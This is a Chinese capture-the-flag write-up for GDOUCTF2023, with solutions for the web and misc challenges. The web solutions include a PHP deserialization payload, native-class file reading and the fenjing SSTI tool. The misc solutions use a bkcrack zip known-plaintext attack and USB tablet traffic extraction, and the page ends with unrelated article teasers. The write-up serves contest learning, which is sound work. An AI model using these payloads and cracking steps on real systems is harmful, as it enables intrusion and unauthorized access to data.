【GDOUCTF2023】wp

news2024/10/7 14:28:11

【GDOUCTF2023】

WEB

hate eat snake

js小游戏，玩游戏得到flag，修改一下js源码

EZ WEB

访问 /super-secret-route-nobody-will-guess 发送PUT请求：

image-20230417113605674

受不了一点

 <?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
    $b=$_POST['ctf'];
    $a=$_POST['gdou'];
    if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
        if(isset($_COOKIE['cookie'])){
           if ($_COOKIE['cookie']=='j0k3r'){
               if(isset($_GET['aaa']) && isset($_GET['bbb'])){
                  $aaa=$_GET['aaa'];
                  $bbb=$_GET['bbb'];
                 if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
                   $give = 'cancanwordflag';
                   $get ='hacker!';
                   if(!isset($_GET['flag']) && !isset($_POST['flag'])){
                         die($give);
                    }
                   if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
                       die($get);
                    }
                    foreach ($_POST as $key => $value) {
                        $$key = $value;
                   }
                    foreach ($_GET as $key => $value) {
                         $$key = $$value;
                    }
                   echo $flag;
            }else{
                  echo "洗洗睡吧";
                 }
    }else{
        echo "行不行啊细狗";
        }
  }
}
else {
  echo '菜菜';
}
}else{
  echo "就这?";
}
}else{
  echo "别来沾边";
}
?>

image-20230417115149827

泄露的伪装

​ 源码泄露

image-20230417115405834

www.rar:

恭喜你
turn to

/orzorz.php

访问，php伪协议：

image-20230417115710043

反方向的钟

php原生类反序列化

 <?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

构造：

<?php
class teacher
{
    public $name;
    public $rank;
    private $salary;

}

class classroom
{
    public $name;
    public $leader;
}


class school
{
    public $department;
    public $headmaster;

}

$t = new teacher();
$c = new classroom();
$s = new school();
$s->headmaster = "ong";
$s->department = $c;
$c->name = "one class";
$c->leader = $t;
$t->name = "ing";
$t->rank = "department";

echo base64_encode(serialize($s));


输出：
Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7Tjt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

然后我们使用Directorylterator配合glob伪协议查看文件

image-20230417121147338

使用SplFileObject配合伪协议读取flag

image-20230417121323373

php原生类

<ez_ze>

SSTI题，暂时还没学到，类似ctfshow370

解法二：

使用工具 fenjing 

python3 -m fenjing scan --url 'http://node2.anna.nssctf.cn:28129/'

然后cat /flag即可

image-20230421131742364

MISC

Matryoshka

压缩包套娃

第一个压缩包密码为：63181528278494851

坑点1：从左到右计算，（先+后×），应该类似于数据结构中的 堆进行四则运算

image-20230417194515779

坑点2：

需要将0开头的数字中的这个0给去掉（并不是8进制）

坑点3：

如果最后结果为负数，需要取绝对值使之为正（zip996的密码：29041679）


import re
import zipfile
import os

filepath = "C://Users/LIKE/Desktop/zip/Matryoshka/"

fileName = "Matryoshka1000.zip"

path = filepath+fileName
count = 1000

while zipfile.is_zipfile(path):
    file = zipfile.ZipFile(path)
    ls = file.namelist()
    pwdName = "password" + str(count) + ".txt"

    if ls[0].startswith("password"):
        pName = ls[0]
        zipName = ls[1]
    else:
        pName = ls[1]
        zipName = ls[0]

    pwdpath = os.path.join(filepath,pwdName)
    # print(pwdpath)
    f = open(pwdpath,"r",errors='ignore')
    print(pwdpath)
    data = f.read()
    # print(data)

    data = data.replace("zero","0").replace("one","1").replace("two","2").replace("three","3").replace("four","4").replace("five","5").replace("six","6").replace("seven","7").replace("eight","8").replace("nine","9").replace("plus","+").replace("times","*").replace("minus","-").replace("mod","%")

    value = re.split("[+\-*%]",data)
    char = re.sub("\d","",data)

    sum = value[0]
    for i in range(4):
        if sum.startswith("0"):  # 取消掉最前面的0
            sum = sum[1:]

    for i in range(len(char)):

        v = value[i+1]
        if v.startswith("0"):  # 取消掉最前面的0
            v = v[1:]
        if v.startswith("0"):  # 取消掉最前面的0
            v = v[1:]
        if v.startswith("0"):  # 取消掉最前面的0
            v = v[1:]

        sum = eval(str(sum)+char[i]+v)

    pwd = str(abs(sum)).encode()
    despath = "C://Users/LIKE/Desktop/zip/Matryoshka/"
    file.extract(zipName,despath, pwd=pwd)
    file.extract(pName, despath, pwd=pwd)
    file.close()
    path = os.path.join(filepath,zipName)

    count = count - 1

pixelart

像素隐写

image-20230417201911933

图片放大后发现有很多像素点：

image-20230417202100004

我们使用ps量一下，发现像素水平和垂直距离都是 12px，所以需要每隔12像素提取一个

from PIL import Image

img = Image.open('arcaea.png')
w = img.width
h = img.height
img_obj = Image.new("RGB",(w//12,h//12))


for x in range(w//12):
    for y in range(h//12):
        (r,g,b)=img.getpixel((x*12,y*12))
        img_obj.putpixel((x,y),(r,g,b))

img_obj.save('ok.png')

github上的脚本：

import os
import re
import cv2
import argparse
import itertools
import numpy as np


parser = argparse.ArgumentParser()
parser.add_argument('-f', type=str, default=None, required=True,
                    help='输入文件名称')
parser.add_argument('-p', type=str, default=None, required=True,
                    help='输入左上顶点和右下顶点坐标 (如:-p 220x344+3520x2150)')
parser.add_argument('-n', type=str, default=None, required=True,
                    help='输入宽度间隔和高度间隔 (如:-n 44x86)')
parser.add_argument('-size', type=str, default='1x1', required=False,
                    help='输入截取图像的大小 (如:-size 7x7)')
parser.add_argument('-resize', type=int, default=1, required=False,
                    help='输入截取图像放大倍数 (如:-resize 1)')
args  = parser.parse_args()

if __name__ == '__main__':
    if re.search(r"^\d{1,}x\d{1,}\+\d{1,}x\d{1,}$", args.p) and re.search(r"^\d{1,}x\d{1,}$", args.n) and re.search(r"^\d{1,}x\d{1,}$", args.size):
        x1, y1 = map(lambda x: int(x), args.p.split("+")[0].split("x"))
        x2, y2 = map(lambda x: int(x), args.p.split("+")[1].split("x"))
        width, height = map(lambda x: int(x), args.n.split("x"))
        width_size, height_size = map(lambda x: int(x), args.size.split("x"))

        img_path = os.path.abspath(args.f)
        file_name = img_path.split("\\")[-1]

        img = cv2.imread(img_path, cv2.IMREAD_COLOR)
        row, col = img.shape[:2]

        r, c = len(range(y1, y2 + 1, height)), len(range(x1, x2 + 1, width))
        new_img = np.zeros(shape=(r * height_size * args.resize, c * width_size * args.resize, 3))
        for y, x in itertools.product(range(r), range(c)):
            for y_size in range(height_size):
                for x_size in range(width_size):
                    # new_img[y * height_size + y_size, x * width_size + x_size] = img[y1 + y * height + y_size, x1 + x * width + x_size]
                    pt1 = ((x * width_size + x_size) * args.resize, (y * height_size + y_size) * args.resize)
                    pt2 = ((x * width_size + x_size) * args.resize + args.resize, (y * height_size + y_size) * args.resize + args.resize)
                    color = img[y1 + y * height + y_size, x1 + x * width + x_size].tolist()
                    cv2.rectangle(new_img, pt1=pt1, pt2=pt2, color=color, thickness=-1)
            

        cv2.imwrite(f"_{file_name}", new_img)
        print("已保存到运行目录中...")
    else:
        print("参数-p或参数-n或参数-size, 输入错误!")

python .\main.py -f .\arcaea.png -p 0x0+3839x2159 -n 12x12

fake_flag

lsb隐写，使用zsteg一下就行

img

getnopwd

J_0k3r忘记了他的密码，压缩包里放着一个他熟悉的文件和一个不熟悉的文件

这一题是明文攻击，我们需要使用 bkcrack 这个工具

使用明文攻击破解加密的zip文件

zip明文攻击的原理

明文攻击主要利用大于 12 字节的一段已知明文数据进行攻击，从而获取整个加密文档的数据。也就是说，如果我手里有一个未知密码的压缩包和压缩包内某个文件的一部分明文（不一定非要从头开始，能确定偏移就行），那么我就可以通过这种攻击来解开整个压缩包。比如压缩包里有一个常见的 license 文件，或者是某个常用的 dll 库，或者是带有固定头部的文件（比如 xml、exe、png 等容易推导出原始内容的文件），那么就可以运用这种攻击。当然，前提是压缩包要用 ZipCrypto 加密。

也就是说从明文到密文的这个流程中我们有了头尾两端的数据，再利用加密算法中的弱点还原出加密密钥，从而解密整个压缩包（同一个压缩包的文件都是用同一个密钥加密）。但是仍然要注意，如果文件在加密前经过了压缩，加密算法的输入不再是我们所知道的明文而是压缩后的数据，明文攻击会失败（在压缩包里查看文件的属性可以看到压缩方式，比如“ZipCrypto Deflate”就是加密压缩，“ZipCrypto Store”就是加密储存）。这就多了找出明文压缩后的数据这样一个额外步骤。

首先我们看一下压缩包中的文件：

image-20230418195140676

我们发现压缩包加密算法为：ZipCrypto，并且压缩包中有我们熟悉的文件类型：pcapng

pcapng中有一些固定的文件头，于是我们可以利用大于12个字节的文件头进行明文攻击

我们在 pcapng官网查看一下它的格式：

image-20230418195751867

我们可以看到，在pcapng文件的第9个字节开始有16个字节的固定格式，可以当作明文

通常情况下，我们的计算机都是小端存储模式。 小端：数字的低位存储到内存的低地址上。 大端：数字的低位存储到内存的高地址上。

查阅资料得知，计算机采用小端存储模式，因此，我么需要将这些格式按照字节为单位倒序处理：

1A2B3C4D  0001  0000 FFFFFFFFFFFFFFFF
=>
4D3C2B1A  0100  0000 FFFFFFFFFFFFFFFF

即：

4D3C2B1A01000000FFFFFFFFFFFFFFFF

于是我们得到了压缩包中的一段明文，我们需要使用工具 bkcrack 进行明文攻击

bkcrack -C getnopwd.zip -c final.pcapng  -x 8 4D3C2B1A01000000FFFFFFFFFFFFFFFF

-x 8 说明这一段明文是从pcapng文件的第9个字节开始的

-C 指定压缩包名称

-c 指定存在明文的文件

-p 存储了明文的文本

-x 已知明文数据在文件中的偏移量

执行完代码之后会得到3个key：

image-20230418201324233

我们使用这3个key可以直接生成一个新的压缩包，密码为自定义。或者直接提取文件

法1：

此处我们生成新压缩包flag.zip，新密码为：easy

bkcrack -C getnopwd.zip -c final.pcapng -k 3290bc3d 27d2d1d8 dfd4c1ae -U flag.zip easy

-k 放上生成的3个key

-U 新的压缩包 新密码

image-20230418201619075

然后我们直接使用 easy解压 flag.zip即可

法2：

直接提取 final.pcapng文件：

bkcrack -C getnopwd.zip -c final.pcapng -k 3290bc3d 27d2d1d8 dfd4c1ae -d final.pcapng

-d 想要提取的文件名

然后打开压缩包，发现 DO_NO_BE_MISDIRECTED 是个docx文件，我们后缀改为zip打开：document.xml

image-20230418201951616

打开 final.pcapng

image-20230418202043344

google查一下这是什么东西：

image-20230418202304037

idVendor 是生产USB设备的公司编号

idProduct 是标识产品编号

查了一下：Wacom公司是生产数位板的

image-20230418202618821

ctf里有一个数位板流量分析 ，

网上有一题类似的：https://blogs.tunelko.com/2017/02/05/bitsctf-tom-and-jerry-50-points/

我们先查看一下，发现37个字节的数据是有用的

image-20230418203139073

然后我们需要使用 tshark 分离数据，使用 -Y参数显示过滤掉无关数据

tshark -r final.pcapng -T fields -Y "usb.transfer_type == 0x01 and frame.len==37" -e "usbhid.data" > usbdata.txt

image-20230418205008149

-r 输入的文件名

-Y 显示过滤器、

-T 设置解码结果输出的格式

-e 如果设置了-T fields -e 参数用来指定输出哪些字段

因为我们要输出的数据是 HID Data 所以我们需要知道 HID Data对应的wireshark过滤器的规则

查阅 wireshak filrer 文档可知为： usbhid.data

image-20230418204844184

输出结果如下：

image-20230418205035055

然后我们需要知道数位板存储数据的格式(小端存储):

Example: 
02:f0:50:1d:72:1a:00:00:12
Bytes:
02:f0: -- Header
50:1d: -- X
72:1a: -- Y
00:00: -- Pressure
12 -- Suffix

我们可以提取那些 X、Y 并用笔查看 Wacom 数位板上的移动。但首先我们必须在明文文件中分离数据才能使用它。

但是由于小端存储，提取数据时，我们需要交换一下数据，逆序一下

我们写个脚本将 X、Y、Z提取出来

f1 = open('flag.txt',"a")
with open('out.txt', 'r') as f:
	lines = f.readlines()
	for line in lines:
		line = line.strip()
		x = line[4:8][2:] + line[4:8][:2]
		y = line[8:12][2:] + line[8:12][:2]
		z = line[12:16][2:] + line[12:16][:2]
		s = str(int(x, 16))+" "+ str(int(y, 16))+" "+str(int(z, 16))
		f1.write(s+"\n")

然后我们使用 gnuplot 将该坐标画图画出来即可：

image-20230418210202154

颠倒一下：

image-20230418210228881

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SLAM论文速递【SLAM—— RDS-SLAM:基于语义分割方法的实时动态SLAM—4.24（1）

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论文信息 题目&#xff1a; RDS-SLAM:Real-Time Dynamic SLAM Using Semantic Segmentation Methods RDS-SLAM:基于语义分割方法的实时动态SLAM论文地址&#xff1a; https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber9318990发表期刊&#xff1a; IEEE Access ( Volum…
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如何发起一次完整的HTTP的请求流程

如何发起一次完整的HTTP的请求流程

目录 &#x1f4a1; 预备知识 &#x1f50a; 浏览器端发起 HTTP 请求流程 1、构建请求 2、查找缓存 3、准备IP地址和端口 4、等待TCP队列 5、建立TCP连接 6、发送HTTP请求 &#x1f50a; 服务器端处理 HTTP 请求流程 1、返回请求 2、断开连接 3、重定向 HTTP 是一种…
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【hello Linux】文件时间

【hello Linux】文件时间

目录 1. 简单介绍文件的三个时间&#xff1a; 2. 查看文件时间的命令&#xff1a; 3. makefile的时间编译原理&#xff1a; Linux&#x1f337; 1. 简单介绍文件的三个时间&#xff1a; 在Linux中&#xff0c;记录着文件的三方面时间&#xff1a; 1. Access&#xff1a;记…
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适合小白的docker实战演示——docker基础入门命令

适合小白的docker实战演示——docker基础入门命令

一、docker简单背景介绍 docker是dotCloud公司开源的一个基于LXC&#xff08;LXC为Linux Container的简写。Linux Container 容器是一种内核虚拟化技术&#xff0c;可以提供轻量级的虚拟化&#xff0c;以便隔离进程和资源&#xff09;的高级容器引擎&#xff0c;源码托管在Gith…
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JAVA——线程池

JAVA——线程池

目录 一、线程池的概念 二、Java标准库中的线程池 三、ThreadPoolExecutor 类的参数 四、线程池的拒绝策略 五、模拟实现线程池 一、线程池的概念 线程池顾名思义就是集中存储线程的地方——联想一下水池。 线程池是一种多线程处理形式&#xff0c;处理过程中将任务添加到…
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PostMan笔记（五）数据监控与压力测试

PostMan笔记（五）数据监控与压力测试

1. 数据监控 1.1 说明 Postman提供了一种方便的方式来监控API请求和响应数据&#xff0c;以便在测试和开发过程中查看和分析API的性能和功能。数据监控允许您在实时和历史记录中查看API请求和响应数据&#xff0c;并使用图表和统计信息对其进行可视化分析。 1.2 怎么使用数据…
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KuiperInfer深度学习推理框架-源码阅读和二次开发(2)：算子开发流程(以sigmoid为例)

KuiperInfer深度学习推理框架-源码阅读和二次开发(2)：算子开发流程(以sigmoid为例)

前言&#xff1a;KuiperInfer是一个从零实现一个高性能的深度学习推理库&#xff0c;中文教程已经非常完善了。本系列博客主要是自己学习的一点笔记和二次开发的教程&#xff0c;欢迎更多的AI推理爱好者一起来玩。这篇写一下算子开发流程&#xff0c;以sigmoid算子为例&#xf…
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音视频技术开发周刊 | 290

音视频技术开发周刊 | 290

每周一期&#xff0c;纵览音视频技术领域的干货。 新闻投稿&#xff1a;contributelivevideostack.com。 TCSVT 2022 | 基于环路多帧预测的深度视频压缩 本文基于端到端深度视频压缩框架&#xff0c;提出了一种环路多帧预测模块&#xff08;in-loop frame prediction module&a…
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UV坐标应用范例——计算屏幕坐标作为UV

UV坐标应用范例——计算屏幕坐标作为UV

迷幻角色背景 大家好&#xff0c;我是阿赵。 之前介绍过了经典的Shader写法&#xff0c;物体顶点坐标在顶点程序转换到裁剪空间&#xff0c;然后在片段程序里面通过模型的UV进行贴图采样&#xff0c;然后把颜色显示在模型上面。 之前也介绍过经典的顶点程序应用&#xff0c;树木…
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